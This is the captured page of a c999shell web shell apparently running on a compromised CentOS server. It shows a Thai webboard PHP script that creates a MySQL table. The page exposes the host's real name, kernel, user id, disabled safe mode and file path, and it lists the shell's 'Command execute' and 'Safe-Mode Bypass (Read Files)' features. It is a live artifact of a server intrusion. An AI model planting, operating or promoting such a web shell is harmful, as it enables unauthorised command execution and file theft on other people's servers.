Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/webboard/ drwxr-xr-x |
Viewing file: Select action/file-type: <html> <head> <title>สร้างฐานข้อมูล 2</title> <link href="./style.css" rel="stylesheet" type="text/css"> </head> <? include("config.inc.php"); mysql_connect($host,$user,$passwd) or die("Unable to Connect"); $sql ="CREATE TABLE webboard_online ( SID varchar(100) NOT NULL default '', time varchar(15) NOT NULL default '', day char(3) NOT NULL default '' ) "; $result = mysql_db_query($dbname,$sql); if($result!=0) { echo "<center>"; echo "<table width=60% border=1 bordercolor=#ff69b4 bgcolor=#f0ffff cellpadding=2 cellspacing=0>"; echo "<tr><td align=center>"; echo "<font size=2 face='MS Sans Serif'>"; echo "<font size=3 color=red><b>ได้สร้างฐานข้อมูลแล้ว</b></font><br><br>"; echo "<font color=blue>webboard_online</font>"; echo "</font></td></tr></table>"; echo "<br><hr width=500 color=blue>"; echo "</center>"; exit(); } else { echo "<center>"; echo "<table width=60% border=1 bordercolor=#ff69b4 bgcolor=#f0ffff cellpadding=2 cellspacing=0>"; echo "<tr><td align=center>"; echo "<font size=2 face='MS Sans Serif'>"; echo "<font size=3 color=red><b>ได้สร้างฐานข้อมูล webboard_online ไปแล้ว </b></font><br><br>"; echo "หรือมีข้อผิดพลาดที่ระบบ<br><br>"; //echo "กรุณาแจ้ง <font color=blue>admin</font> ให้ตรวจสอบด้วยครับ"; echo "</font></td></tr></table>"; echo "<br><hr width=500 color=blue>"; echo "</center>"; exit(); } ?> </body> </html> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]-- |